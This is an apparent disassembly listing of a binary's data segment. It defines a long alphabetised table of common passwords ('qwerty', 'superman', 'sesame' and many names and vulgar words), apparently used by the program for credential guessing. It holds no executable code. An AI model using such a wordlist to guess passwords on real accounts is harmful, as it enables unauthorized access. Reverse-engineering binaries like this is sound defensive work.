aSupersta db 'supersta',0 ; DATA XREF: seg002:0042485Co
align 4
aSuperson db 'superson',0 ; DATA XREF: seg002:00424858o
align 4
aSuperman db 'superman',0 ; DATA XREF: seg002:00424854o
align 4
aSunday db 'sunday',0 ; DATA XREF: seg002:00424850o
align 4
aSummer db 'summer',0 ; DATA XREF: seg002:0042484Co
align 4
aSucks db 'sucks',0 ; DATA XREF: seg002:00424848o
align 4
aSuckmydi db 'suckmydi',0 ; DATA XREF: seg002:00424844o
align 4
aSuck db 'suck',0 ; DATA XREF: seg002:00424840o
align 10h
aSuccess db 'success',0 ; DATA XREF: seg002:0042483Co
aSubway db 'subway',0 ; DATA XREF: seg002:00424838o
align 10h
aSubscrib db 'subscrib',0 ; DATA XREF: seg002:00424834o
align 4
aStuttgar db 'stuttgar',0 ; DATA XREF: seg002:00424830o
align 4
aStrip db 'strip',0 ; DATA XREF: seg002:00424828o
align 10h
aString db 'string',0 ; DATA XREF: seg002:00424824o
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: seg002:00424820o
align 4
aStratfor db 'stratfor',0 ; DATA XREF: seg002:0042481Co
align 10h
aStrangle db 'strangle',0 ; DATA XREF: seg002:00424818o
align 4
aStrange db 'strange',0 ; DATA XREF: seg002:00424814o
aStones db 'stones',0 ; DATA XREF: seg002:00424810o
align 4
aStoned db 'stoned',0 ; DATA XREF: seg002:0042480Co
align 4
aStoneage db 'stoneage',0 ; DATA XREF: seg002:00424808o
align 10h
aSteve db 'steve',0 ; DATA XREF: seg002:00424804o
align 4
aStereo db 'stereo',0 ; DATA XREF: seg002:00424800o
align 10h
aStephani db 'stephani',0 ; DATA XREF: seg002:004247FCo
align 4
aSteph db 'steph',0 ; DATA XREF: seg002:004247F8o
align 4
aSteel db 'steel',0 ; DATA XREF: seg002:004247F4o
align 4
aSteal db 'steal',0 ; DATA XREF: seg002:004247F0o
align 4
aSteak db 'steak',0 ; DATA XREF: seg002:004247ECo
align 4
aStarwars db 'starwars',0 ; DATA XREF: seg002:004247E8o
align 4
aStartup db 'startup',0 ; DATA XREF: seg002:004247E4o
aStartrek db 'startrek',0 ; DATA XREF: seg002:004247E0o
align 4
aStart db 'start',0 ; DATA XREF: seg000:0040AA68o
; seg002:004247DCo
align 4
aStarship db 'starship',0 ; DATA XREF: seg002:004247D8o
align 10h
aStar db 'star',0 ; DATA XREF: seg002:004247D4o
align 4
aStacy db 'stacy',0 ; DATA XREF: seg002:004247D0o
align 10h
aStacie db 'stacie',0 ; DATA XREF: seg002:004247CCo
align 4
aStaci db 'staci',0 ; DATA XREF: seg002:004247C8o
align 10h
aStacey db 'stacey',0 ; DATA XREF: seg002:004247C4o
align 4
aSr71 db 'sr71',0 ; DATA XREF: seg002:004247C0o
align 10h
aSquires db 'squires',0 ; DATA XREF: seg002:004247BCo
aSpunk db 'spunk',0 ; DATA XREF: seg002:004247B8o
align 10h
aSpringer db 'springer',0 ; DATA XREF: seg002:004247B4o
align 4
aSpring db 'spring',0 ; DATA XREF: seg002:004247B0o
align 4
aSpred db 'spred',0 ; DATA XREF: seg002:004247ACo
align 4
aSpit db 'spit',0 ; DATA XREF: seg002:004247A8o
align 4
aSpiderma db 'spiderma',0 ; DATA XREF: seg002:004247A4o
align 10h
aSpider db 'spider',0 ; DATA XREF: seg002:004247A0o
align 4
aSpice db 'spice',0 ; DATA XREF: seg002:0042479Co
align 10h
aSpell db 'spell',0 ; DATA XREF: seg002:00424798o
align 4
aSpear db 'spear',0 ; DATA XREF: seg002:00424794o
align 10h
aSparrows db 'sparrows',0 ; DATA XREF: seg002:00424790o
align 4
aSpaceshi db 'spaceshi',0 ; DATA XREF: seg002:0042478Co
align 4
aSouth db 'south',0 ; DATA XREF: seg002:00424788o
align 10h
aSource db 'source',0 ; DATA XREF: seg002:00424784o
align 4
aSossina db 'sossina',0 ; DATA XREF: seg002:00424780o
aSonya db 'sonya',0 ; DATA XREF: seg002:0042477Co
align 4
aSonic db 'sonic',0 ; DATA XREF: seg002:00424778o
align 10h
aSonia db 'sonia',0 ; DATA XREF: seg002:00424774o
align 4
aSondra db 'sondra',0 ; DATA XREF: seg002:00424770o
align 10h
aSomebody db 'somebody',0 ; DATA XREF: seg002:0042476Co
align 4
aSoftware db 'software',0 ; DATA XREF: seg002:00424768o
align 4
aSoft db 'soft',0 ; DATA XREF: seg002:00424764o
align 10h
aSodomy db 'sodomy',0 ; DATA XREF: seg002:00424760o
align 4
aSocrates db 'socrates',0 ; DATA XREF: seg002:0042475Co
align 4
aSocial db 'social',0 ; DATA XREF: seg002:00424758o
align 4
aSoap db 'soap',0 ; DATA XREF: seg002:00424754o
align 4
aSnoopy db 'snoopy',0 ; DATA XREF: seg002:00424750o
align 4
aSnatch db 'snatch',0 ; DATA XREF: seg002:0042474Co
align 4
aSnake db 'snake',0 ; DATA XREF: seg002:00424748o
align 4
aSnafu db 'snafu',0 ; DATA XREF: seg002:00424744o
align 4
aSnach db 'snach',0 ; DATA XREF: seg002:00424740o
align 4
aSmut db 'smut',0 ; DATA XREF: seg002:0042473Co
align 4
aSmtp db 'smtp',0 ; DATA XREF: seg002:00424738o
align 4
aSmother db 'smother',0 ; DATA XREF: seg002:00424734o
aSmooch db 'smooch',0 ; DATA XREF: seg002:00424730o
align 4
aSmiles db 'smiles',0 ; DATA XREF: seg002:0042472Co
align 4
aSmile db 'smile',0 ; DATA XREF: seg002:00424728o
align 4
aSmart db 'smart',0 ; DATA XREF: seg002:00424724o
align 4
aSmall db 'small',0 ; DATA XREF: seg002:00424720o
align 4
aSlut db 'slut',0 ; DATA XREF: seg002:0042471Co
align 4
aSlow db 'slow',0 ; DATA XREF: seg002:00424718o
align 4
aSliders db 'sliders',0 ; DATA XREF: seg002:00424714o
aSlick db 'slick',0 ; DATA XREF: seg002:00424710o
align 4
aSlave db 'slave',0 ; DATA XREF: seg002:0042470Co
align 4
aSkull db 'skull',0 ; DATA XREF: seg002:00424708o
align 4
aSite db 'site',0 ; DATA XREF: seg002:00424704o
align 4
aSingle db 'single',0 ; DATA XREF: seg002:00424700o
align 4
aSinger db 'singer',0 ; DATA XREF: seg002:004246FCo
align 4
aSimulati db 'simulati',0 ; DATA XREF: seg002:004246F8o
align 10h
aSimpsons db 'simpsons',0 ; DATA XREF: seg002:004246F4o
align 4
aSimple db 'simple',0 ; DATA XREF: seg002:004246F0o
align 4
aSimon db 'simon',0 ; DATA XREF: seg002:004246ECo
align 4
aSimcity db 'simcity',0 ; DATA XREF: seg002:004246E8o
aSilver db 'silver',0 ; DATA XREF: seg002:004246E4o
align 4
aSignatur db 'signatur',0 ; DATA XREF: seg002:004246E0o
align 4
aSierra db 'sierra',0 ; DATA XREF: seg002:004246DCo
align 10h
aSick db 'sick',0 ; DATA XREF: seg002:004246D8o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: seg002:004246D4o
aShort db 'short',0 ; DATA XREF: seg002:004246D0o
align 4
aShivers db 'shivers',0 ; DATA XREF: seg002:004246CCo
aShiva db 'shiva',0 ; DATA XREF: seg002:004246C8o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: seg002:004246C4o
aShit db 'shit',0 ; DATA XREF: seg002:004246C0o
align 4
aShirley db 'shirley',0 ; DATA XREF: seg002:004246BCo
aShift db 'shift',0 ; DATA XREF: seg002:004246B8o
align 4
aSherri db 'sherri',0 ; DATA XREF: seg002:004246B4o
align 10h
aShell db 'shell',0 ; DATA XREF: seg002:004246B0o
align 4
aSheldon db 'sheldon',0 ; DATA XREF: seg002:004246ACo
aSheffiel db 'sheffiel',0 ; DATA XREF: seg002:004246A8o
align 4
aSharon db 'sharon',0 ; DATA XREF: seg002:004246A4o
align 4
aSharks db 'sharks',0 ; DATA XREF: seg002:004246A0o
align 4
aShark db 'shark',0 ; DATA XREF: seg002:0042469Co
align 4
aSharc db 'sharc',0 ; DATA XREF: seg002:00424698o
align 4
aShannon db 'shannon',0 ; DATA XREF: seg002:00424694o
aSexy db 'sexy',0 ; DATA XREF: seg002:00424690o
align 4
aSesame db 'sesame',0 ; DATA XREF: seg002:0042468Co
align 4
aService db 'service',0 ; DATA XREF: seg002:00424688o
; seg002:00425250o
aSerial db 'serial',0 ; DATA XREF: seg002:00424684o
align 4
aSerenity db 'serenity',0 ; DATA XREF: seg002:00424680o
align 10h
aSentry db 'sentry',0 ; DATA XREF: seg002:0042467Co
align 4
aSentinel db 'sentinel',0 ; DATA XREF: seg002:00424678o
align 4
aSensor db 'sensor',0 ; DATA XREF: seg002:00424674o
align 4
aSega db 'sega',0 ; DATA XREF: seg002:00424670o
align 4
aSeed db 'seed',0 ; DATA XREF: seg002:0042466Co
align 4
aSecurity db 'security',0 ; DATA XREF: seg002:00424668o
align 4
aSearch db 'search',0 ; DATA XREF: seg002:00424664o
align 10h
aScout db 'scout',0 ; DATA XREF: seg002:00424660o
align 4
aScotty db 'scotty',0 ; DATA XREF: seg002:0042465Co
align 10h
aScott db 'scott',0 ; DATA XREF: seg002:00424658o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: seg002:00424654o
align 4
aScifi db 'scifi',0 ; DATA XREF: seg002:00424650o
align 4
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: seg002:0042464Co
aSchool db 'school',0 ; DATA XREF: seg002:00424648o
align 10h
aScheme db 'scheme',0 ; DATA XREF: seg002:00424644o
align 4
aScamper db 'scamper',0 ; DATA XREF: seg002:00424640o
aSaxon db 'saxon',0 ; DATA XREF: seg002:0042463Co
align 4
aSaturn db 'saturn',0 ; DATA XREF: seg002:00424638o
align 10h
aSaturday db 'saturday',0 ; DATA XREF: seg002:00424634o
align 4
aSarah db 'sarah',0 ; DATA XREF: seg002:00424630o
align 4
aSara db 'sara',0 ; DATA XREF: seg002:0042462Co
align 4
aSandy db 'sandy',0 ; DATA XREF: seg002:00424628o
align 4
aSandra db 'sandra',0 ; DATA XREF: seg002:00424624o
align 4
aSample db 'sample',0 ; DATA XREF: seg002:00424620o
align 4
aSamantha db 'samantha',0 ; DATA XREF: seg002:0042461Co
align 10h
aSalt db 'salt',0 ; DATA XREF: seg002:00424618o
align 4
aSale db 'sale',0 ; DATA XREF: seg002:00424614o
align 10h
aSalami db 'salami',0 ; DATA XREF: seg002:00424610o
align 4
aSafe db 'safe',0 ; DATA XREF: seg002:0042460Co
align 10h
aRuth db 'ruth',0 ; DATA XREF: seg002:00424608o
align 4
aRush db 'rush',0 ; DATA XREF: seg002:00424604o
align 10h
aRunning db 'running',0 ; DATA XREF: seg002:00424600o
aRules db 'rules',0 ; DATA XREF: seg002:004245FCo
align 10h
aRude db 'rude',0 ; DATA XREF: seg002:004245F8o
align 4
aRuby db 'ruby',0 ; DATA XREF: seg002:004245F4o
align 10h
aRuben db 'ruben',0 ; DATA XREF: seg002:004245F0o
align 4
aRubber db 'rubber',0 ; DATA XREF: seg002:004245ECo
align 10h
aRough db 'rough',0 ; DATA XREF: seg002:004245E8o
align 4
aRoses db 'roses',0 ; DATA XREF: seg002:004245E4o
align 10h
aRosemary db 'rosemary',0 ; DATA XREF: seg002:004245E0o
align 4
aRosebud db 'rosebud',0 ; DATA XREF: seg002:004245DCo
aRose db 'rose',0 ; DATA XREF: seg002:004245D8o
align 4
aRonald db 'ronald',0 ; DATA XREF: seg002:004245D4o
align 4
aRomulan db 'romulan',0 ; DATA XREF: seg002:004245D0o
aRomeo db 'romeo',0 ; DATA XREF: seg002:004245CCo
align 4
aRomano db 'romano',0 ; DATA XREF: seg002:004245C8o
align 4
aRolex db 'rolex',0 ; DATA XREF: seg002:004245C4o
align 4
aRodent db 'rodent',0 ; DATA XREF: seg002:004245C0o
align 4
aRockyhor db 'rockyhor',0 ; DATA XREF: seg002:004245BCo
align 4
aRocky db 'rocky',0 ; DATA XREF: seg002:004245B8o
align 10h
aRock db 'rock',0 ; DATA XREF: seg002:004245B4o
align 4
aRocheste db 'rocheste',0 ; DATA XREF: seg002:004245B0o
align 4
aRochelle db 'rochelle',0 ; DATA XREF: seg002:004245ACo
align 10h
aRobyn db 'robyn',0 ; DATA XREF: seg002:004245A8o
align 4
aRobotics db 'robotics',0 ; DATA XREF: seg002:004245A4o
align 4
aRobot db 'robot',0 ; DATA XREF: seg002:004245A0o
align 4
aRobin db 'robin',0 ; DATA XREF: seg002:0042459Co
align 4
aRobert db 'robert',0 ; DATA XREF: seg002:00424598o
align 4
aRoach db 'roach',0 ; DATA XREF: seg002:00424594o
align 4
aRisc db 'risc',0 ; DATA XREF: seg002:00424590o
align 4
aRipple db 'ripple',0 ; DATA XREF: seg002:0042458Co
align 4
aRiot db 'riot',0 ; DATA XREF: seg002:00424588o
align 4
aRing db 'ring',0 ; DATA XREF: seg002:00424584o
align 4
aRightwin db 'rightwin',0 ; DATA XREF: seg002:00424580o
align 10h
aRight db 'right',0 ; DATA XREF: seg002:0042457Co
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: seg002:00424578o
align 4
aRick db 'rick',0 ; DATA XREF: seg002:00424574o
align 4
aRich db 'rich',0 ; DATA XREF: seg002:00424570o
align 4
aRhino db 'rhino',0 ; DATA XREF: seg002:0042456Co
align 4
aReveal db 'reveal',0 ; DATA XREF: seg002:00424568o
align 4
aResistan db 'resistan',0 ; DATA XREF: seg002:00424564o
align 10h
aRepublic db 'republic',0 ; DATA XREF: seg002:00424560o
align 4
aReport db 'report',0 ; DATA XREF: seg002:0042455Co
align 4
aRent db 'rent',0 ; DATA XREF: seg002:00424558o
align 4
aReno db 'reno',0 ; DATA XREF: seg002:00424554o
align 4
aRenee db 'renee',0 ; DATA XREF: seg002:00424550o
align 4
aRemote db 'remote',0 ; DATA XREF: seg002:0042454Co
align 4
aRelease db 'release',0 ; DATA XREF: seg002:00424548o
aRegional db 'regional',0 ; DATA XREF: seg002:00424544o
align 4
aReferenc db 'referenc',0 ; DATA XREF: seg002:00424540o
align 4
aRedhead db 'redhead',0 ; DATA XREF: seg002:0042453Co
aReddawn db 'reddawn',0 ; DATA XREF: seg002:00424538o
aRecord db 'record',0 ; DATA XREF: seg002:00424534o
align 4
aRebel db 'rebel',0 ; DATA XREF: seg002:00424530o
align 4
aRebecca db 'rebecca',0 ; DATA XREF: seg002:0042452Co
aRebal db 'rebal',0 ; DATA XREF: seg002:00424528o
align 4
aReaper db 'reaper',0 ; DATA XREF: seg002:00424524o
align 4
aReam db 'ream',0 ; DATA XREF: seg002:00424520o
align 4
aReally db 'really',0 ; DATA XREF: seg002:0042451Co
align 4
aReality db 'reality',0 ; DATA XREF: seg002:00424518o
aReagan db 'reagan',0 ; DATA XREF: seg002:00424514o
align 4
aRazor db 'razor',0 ; DATA XREF: seg002:00424510o
align 4
aRascal db 'rascal',0 ; DATA XREF: seg002:0042450Co
align 4
aRape db 'rape',0 ; DATA XREF: seg002:00424508o
align 4
aRaleigh db 'raleigh',0 ; DATA XREF: seg002:00424500o
aRaindrop db 'raindrop',0 ; DATA XREF: seg002:004244FCo
align 4
aRainbow db 'rainbow',0 ; DATA XREF: seg002:004244F8o
aRain db 'rain',0 ; DATA XREF: seg002:004244F4o
align 4
aRaid db 'raid',0 ; DATA XREF: seg002:004244F0o
align 10h
aRachmani db 'rachmani',0 ; DATA XREF: seg002:004244ECo
align 4
aRachelle db 'rachelle',0 ; DATA XREF: seg002:004244E8o
align 4
aRachel db 'rachel',0 ; DATA XREF: seg002:004244E4o
align 10h
aRabbit db 'rabbit',0 ; DATA XREF: seg002:004244E0o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: seg002:004244DCo
; seg002:00425234o
align 10h
aQwert db 'qwert',0 ; DATA XREF: seg002:004244D8o
; seg002:00425230o
align 4
aQuebec db 'quebec',0 ; DATA XREF: seg002:004244D4o
align 10h
aPussy db 'pussy',0 ; DATA XREF: seg002:004244D0o
align 4
aPuppet db 'puppet',0 ; DATA XREF: seg002:004244CCo
align 10h
aPunk db 'punk',0 ; DATA XREF: seg002:004244C8o
align 4
aPunisher db 'punisher',0 ; DATA XREF: seg002:004244C4o
align 4
aPuneet db 'puneet',0 ; DATA XREF: seg002:004244C0o
align 4
aPumpkin db 'pumpkin',0 ; DATA XREF: seg002:004244BCo
aPuke db 'puke',0 ; DATA XREF: seg002:004244B8o
align 4
aPuck db 'puck',0 ; DATA XREF: seg002:004244B4o
align 4
aPublic db 'public',0 ; DATA XREF: seg002:004244B0o
align 4
aPsychopa db 'psychopa',0 ; DATA XREF: seg002:004244ACo
align 4
aPsycho db 'psycho',0 ; DATA XREF: seg002:004244A8o
align 10h
aProtozoa db 'protozoa',0 ; DATA XREF: seg002:004244A4o
align 4
aProtect db 'protect',0 ; DATA XREF: seg002:004244A0o
aPrompt db 'prompt',0 ; DATA XREF: seg002:0042449Co
align 4
aProgram db 'program',0 ; DATA XREF: seg002:00424498o
aProfile db 'profile',0 ; DATA XREF: seg002:00424494o
aProfesso db 'professo',0 ; DATA XREF: seg002:00424490o
align 4
aProcesso db 'processo',0 ; DATA XREF: seg002:0042448Co
align 4
aProceed db 'proceed',0 ; DATA XREF: seg002:00424488o
aPrivs db 'privs',0 ; DATA XREF: seg002:00424484o
align 4
aPrivate db 'private',0 ; DATA XREF: seg002:00424480o
aPriv db 'priv',0 ; DATA XREF: seg002:0042447Co
align 4
aPrinter db 'printer',0 ; DATA XREF: seg002:00424478o
aPrinceto db 'princeto',0 ; DATA XREF: seg002:00424474o
align 4
aPrince db 'prince',0 ; DATA XREF: seg002:00424470o
align 10h
aPresto db 'presto',0 ; DATA XREF: seg002:0042446Co
align 4
aPrelude db 'prelude',0 ; DATA XREF: seg002:00424468o
aPrecious db 'precious',0 ; DATA XREF: seg002:00424464o
align 4
aPraise db 'praise',0 ; DATA XREF: seg002:00424460o
align 4
aPower db 'power',0 ; DATA XREF: seg002:0042445Co
align 4
aPoster db 'poster',0 ; DATA XREF: seg002:00424458o
align 4
aPost db 'post',0 ; DATA XREF: seg002:00424454o
align 4
aPorsche db 'porsche',0 ; DATA XREF: seg002:00424450o
aPorno db 'porno',0 ; DATA XREF: seg002:0042444Co
align 4
aPorn db 'porn',0 ; DATA XREF: seg002:00424448o
align 4
aPork db 'pork',0 ; DATA XREF: seg002:00424444o
align 4
aPoor db 'poor',0 ; DATA XREF: seg002:00424440o
align 4
aPoop db 'poop',0 ; DATA XREF: seg002:0042443Co
align 4
aPonderin db 'ponderin',0 ; DATA XREF: seg002:00424438o
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: seg002:00424434o
align 4
aPolly db 'polly',0 ; DATA XREF: seg002:00424430o
align 4
aPolice db 'police',0 ; DATA XREF: seg002:0042442Co
align 4
aPoetry db 'poetry',0 ; DATA XREF: seg002:00424428o
align 4
aPlymouth db 'plymouth',0 ; DATA XREF: seg002:00424424o
align 4
aPluto db 'pluto',0 ; DATA XREF: seg002:00424420o
align 10h
aPlover db 'plover',0 ; DATA XREF: seg002:0042441Co
align 4
aPlayboy db 'playboy',0 ; DATA XREF: seg002:00424418o
aPlane db 'plane',0 ; DATA XREF: seg002:00424414o
align 4
aPizza db 'pizza',0 ; DATA XREF: seg002:00424410o
align 10h
aPiss db 'piss',0 ; DATA XREF: seg002:0042440Co
align 4
aPinname db 'pinname',0 ; DATA XREF: seg002:00424408o
aPimp db 'pimp',0 ; DATA XREF: seg002:00424404o
align 4
aPierre db 'pierre',0 ; DATA XREF: seg002:00424400o
align 10h
aPick db 'pick',0 ; DATA XREF: seg002:004243FCo
align 4
aPhuck db 'phuck',0 ; DATA XREF: seg002:004243F8o
align 10h
aPhreak db 'phreak',0 ; DATA XREF: seg002:004243F4o
align 4
aPhrase db 'phrase',0 ; DATA XREF: seg002:004243F0o
align 10h
aPhrack db 'phrack',0 ; DATA XREF: seg002:004243ECo
align 4
aPhoton db 'photon',0 ; DATA XREF: seg002:004243E8o
align 10h
aPhone db 'phone',0 ; DATA XREF: seg002:004243E4o
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: seg002:004243E0o
aPhilip db 'philip',0 ; DATA XREF: seg002:004243DCo
align 4
aPhil db 'phil',0 ; DATA XREF: seg002:004243D8o
align 10h
aPeter db 'peter',0 ; DATA XREF: seg002:004243D4o
align 4
aPete db 'pete',0 ; DATA XREF: seg002:004243D0o
align 10h
aPervert db 'pervert',0 ; DATA XREF: seg002:004243CCo
aPersona db 'persona',0 ; DATA XREF: seg002:004243C8o
aPersimmo db 'persimmo',0 ; DATA XREF: seg002:004243C4o
align 4
aPermit db 'permit',0 ; DATA XREF: seg002:004243C0o
align 4
aPerfect db 'perfect',0 ; DATA XREF: seg002:004243BCo
aPercolat db 'percolat',0 ; DATA XREF: seg002:004243B8o
align 4
aPepper db 'pepper',0 ; DATA XREF: seg002:004243B4o
align 10h
aPeoria db 'peoria',0 ; DATA XREF: seg002:004243B0o
align 4
aPentium db 'pentium',0 ; DATA XREF: seg002:004243ACo
aPenthous db 'penthous',0 ; DATA XREF: seg002:004243A8o
align 4
aPentagra db 'pentagra',0 ; DATA XREF: seg002:004243A4o
align 4
aPentagon db 'pentagon',0 ; DATA XREF: seg002:004243A0o
align 4
aPenname db 'penname',0 ; DATA XREF: seg002:0042439Co
aPenis db 'penis',0 ; DATA XREF: seg002:00424398o
align 4
aPenguin db 'penguin',0 ; DATA XREF: seg002:00424394o
aPenelope db 'penelope',0 ; DATA XREF: seg002:00424390o
align 4
aPencil db 'pencil',0 ; DATA XREF: seg002:0042438Co
align 10h
aPecker db 'pecker',0 ; DATA XREF: seg002:00424388o
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: seg002:00424384o
aPaula db 'paula',0 ; DATA XREF: seg002:00424380o
align 4
aPatty db 'patty',0 ; DATA XREF: seg002:0042437Co
align 10h
aPatriot db 'patriot',0 ; DATA XREF: seg002:00424378o
aPatricia db 'patricia',0 ; DATA XREF: seg002:00424374o
align 4
aPaste db 'paste',0 ; DATA XREF: seg002:00424370o
align 4
aPassphra db 'passphra',0 ; DATA XREF: seg002:0042436Co
align 4
aPascal db 'pascal',0 ; DATA XREF: seg002:00424368o
align 10h
aPapers db 'papers',0 ; DATA XREF: seg002:00424364o
align 4
aPaper db 'paper',0 ; DATA XREF: seg002:00424360o
align 10h
aPapa db 'papa',0 ; DATA XREF: seg002:0042435Co
align 4
aPamela db 'pamela',0 ; DATA XREF: seg002:00424358o
align 10h
aPakistan db 'pakistan',0 ; DATA XREF: seg002:00424354o
align 4
aPaint db 'paint',0 ; DATA XREF: seg002:00424350o
align 4
aPainless db 'painless',0 ; DATA XREF: seg002:0042434Co
align 10h
aPacker db 'packer',0 ; DATA XREF: seg002:00424348o
align 4
aPackard db 'packard',0 ; DATA XREF: seg002:00424344o
aPacific db 'pacific',0 ; DATA XREF: seg002:00424340o
aOxford db 'oxford',0 ; DATA XREF: seg002:0042433Co
align 10h
aOutside db 'outside',0 ; DATA XREF: seg002:00424338o
aOutput db 'output',0 ; DATA XREF: seg002:00424334o
align 10h
aOutlaw db 'outlaw',0 ; DATA XREF: seg002:00424330o
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: seg002:0042432Co
align 4
aOsiris db 'osiris',0 ; DATA XREF: seg002:00424328o
align 4
aOscar db 'oscar',0 ; DATA XREF: seg002:00424324o
align 4
aOrwell db 'orwell',0 ; DATA XREF: seg002:00424320o
align 4
aOrient db 'orient',0 ; DATA XREF: seg002:0042431Co
align 4
aOrca db 'orca',0 ; DATA XREF: seg002:00424318o
align 4
aOperator db 'operator',0 ; DATA XREF: seg002:00424314o
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: seg002:00424310o
align 4
aOpenlock db 'openlock',0 ; DATA XREF: seg002:0042430Co
align 10h
aOpening db 'opening',0 ; DATA XREF: seg002:00424308o
aOmega db 'omega',0 ; DATA XREF: seg002:00424300o
align 10h
aOlivia db 'olivia',0 ; DATA XREF: seg002:004242FCo
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: seg002:004242F8o
align 4
aOldage db 'oldage',0 ; DATA XREF: seg002:004242F4o
align 4
aOkay db 'okay',0 ; DATA XREF: seg002:004242F0o
align 4
aOffice db 'office',0 ; DATA XREF: seg002:004242ECo
align 4
aOcelot db 'ocelot',0 ; DATA XREF: seg002:004242E8o
align 4
aOceanogr db 'oceanogr',0 ; DATA XREF: seg002:004242E4o
align 10h
aObscurit db 'obscurit',0 ; DATA XREF: seg002:004242E0o
align 4
aNyquist db 'nyquist',0 ; DATA XREF: seg002:004242DCo
aNuts db 'nuts',0 ; DATA XREF: seg002:004242D8o
align 4
aNutritio db 'nutritio',0 ; DATA XREF: seg002:004242D4o
align 4
aNumber db 'number',0 ; DATA XREF: seg002:004242D0o
align 10h
aNull_1 db 'null',0 ; DATA XREF: seg002:004242CCo
align 4
aNukem db 'nukem',0 ; DATA XREF: seg002:004242C8o
align 10h
aNuke db 'nuke',0 ; DATA XREF: seg002:004242C4o
align 4
aNude db 'nude',0 ; DATA XREF: seg002:004242C0o
align 10h
aNuclear db 'nuclear',0 ; DATA XREF: seg002:004242BCo
aNoxious db 'noxious',0 ; DATA XREF: seg002:004242B8o
aNovember db 'november',0 ; DATA XREF: seg002:004242B4o
align 4
aNovel db 'novel',0 ; DATA XREF: seg002:004242B0o
align 4
aNova db 'nova',0 ; DATA XREF: seg002:004242ACo
align 4
aNoth db 'noth',0 ; DATA XREF: seg002:004242A8o
align 4
aNotes db 'notes',0 ; DATA XREF: seg002:004242A4o
align 4
aNoreen db 'noreen',0 ; DATA XREF: seg002:004242A0o
align 4
aNode db 'node',0 ; DATA XREF: seg002:0042429Co
align 4
aNobody db 'nobody',0 ; DATA XREF: seg002:00424298o
align 4
aNoble db 'noble',0 ; DATA XREF: seg002:00424294o
align 4
aNnaacp db 'nnaacp',0 ; DATA XREF: seg002:00424290o
align 4
aNita db 'nita',0 ; DATA XREF: seg002:0042428Co
align 4
aNintendo db 'nintendo',0 ; DATA XREF: seg002:00424288o
align 4
aNightmar db 'nightmar',0 ; DATA XREF: seg002:00424284o
align 4
aNight db 'night',0 ; DATA XREF: seg002:00424280o
align 4
aNicotine db 'nicotine',0 ; DATA XREF: seg002:0042427Co
align 4
aNicole db 'nicole',0 ; DATA XREF: seg002:00424278o
align 10h
aNice db 'nice',0 ; DATA XREF: seg002:00424274o
align 4
aNext db 'next',0 ; DATA XREF: seg002:00424270o
align 10h
aNewyork db 'newyork',0 ; DATA XREF: seg002:0042426Co
aNewton db 'newton',0 ; DATA XREF: seg002:00424268o
align 10h
aNewsgrou db 'newsgrou',0 ; DATA XREF: seg002:00424264o
align 4
aNews db 'news',0 ; DATA XREF: seg002:00424260o
align 4
aNewborn db 'newborn',0 ; DATA XREF: seg002:0042425Co
aNetwork_0 db 'network',0 ; DATA XREF: seg002:00424258o
aNetscape db 'netscape',0 ; DATA XREF: seg002:00424254o
align 10h
aNess db 'ness',0 ; DATA XREF: seg002:00424250o
align 4
aNeptune db 'neptune',0 ; DATA XREF: seg002:0042424Co
aNepenthe db 'nepenthe',0 ; DATA XREF: seg002:00424248o
align 4
aNavy db 'navy',0 ; DATA XREF: seg002:00424244o
align 4
aNasa db 'nasa',0 ; DATA XREF: seg002:00424240o
align 4
aNapoleon db 'napoleon',0 ; DATA XREF: seg002:0042423Co
align 4
aNancy db 'nancy',0 ; DATA XREF: seg002:00424238o
align 10h
aName db 'name',0 ; DATA XREF: seg002:00424234o
align 4
aNagel db 'nagel',0 ; DATA XREF: seg002:00424230o
align 10h
aMutant db 'mutant',0 ; DATA XREF: seg002:0042422Co
align 4
aMuppets db 'muppets',0 ; DATA XREF: seg002:00424228o
aMsdos db 'msdos',0 ; DATA XREF: seg002:00424224o
align 4
aMpeg db 'mpeg',0 ; DATA XREF: seg002:00424220o
align 10h
aMozart db 'mozart',0 ; DATA XREF: seg002:0042421Co
align 4
aMovies db 'movies',0 ; DATA XREF: seg002:00424218o
align 10h
aMovie db 'movie',0 ; DATA XREF: seg002:00424214o
align 4
aMove db 'move',0 ; DATA XREF: seg002:00424210o
align 10h
aMouse db 'mouse',0 ; DATA XREF: seg002:0042420Co
align 4
aMountain db 'mountain',0 ; DATA XREF: seg002:00424208o
align 4
aMosaic db 'mosaic',0 ; DATA XREF: seg002:00424204o
align 4
aMortgage db 'mortgage',0 ; DATA XREF: seg002:00424200o
align 4
aMortalco db 'mortalco',0 ; DATA XREF: seg002:004241FCo
align 4
aMortal db 'mortal',0 ; DATA XREF: seg002:004241F8o
align 4
aMorris db 'morris',0 ; DATA XREF: seg002:004241F4o
align 4
aMorley db 'morley',0 ; DATA XREF: seg002:004241F0o
align 4
aMore db 'more',0 ; DATA XREF: seg002:004241ECo
align 4
aMoose db 'moose',0 ; DATA XREF: seg002:004241E8o
align 4
aMoor db 'moor',0 ; DATA XREF: seg002:004241E4o
align 4
aMoom db 'moom',0 ; DATA XREF: seg002:004241E0o
align 4
aMonica db 'monica',0 ; DATA XREF: seg002:004241DCo
align 4
aMonday db 'monday',0 ; DATA XREF: seg002:004241D8o
align 4
aMoguls db 'moguls',0 ; DATA XREF: seg002:004241D4o
align 4
aMogul db 'mogul',0 ; DATA XREF: seg002:004241D0o
align 4
aModem db 'modem',0 ; DATA XREF: seg002:004241CCo
align 4
aMode db 'mode',0 ; DATA XREF: seg002:004241C8o
align 4
aMkii db 'mkii',0 ; DATA XREF: seg002:004241C4o
align 4
aMission db 'mission',0 ; DATA XREF: seg002:004241C0o
aMisfit db 'misfit',0 ; DATA XREF: seg002:004241BCo
align 4
aMinsky db 'minsky',0 ; DATA XREF: seg002:004241B8o
align 4
aMinimum db 'minimum',0 ; DATA XREF: seg002:004241B4o
aMine db 'mine',0 ; DATA XREF: seg002:004241B0o
align 4
aMike db 'mike',0 ; DATA XREF: seg002:004241ACo
align 4
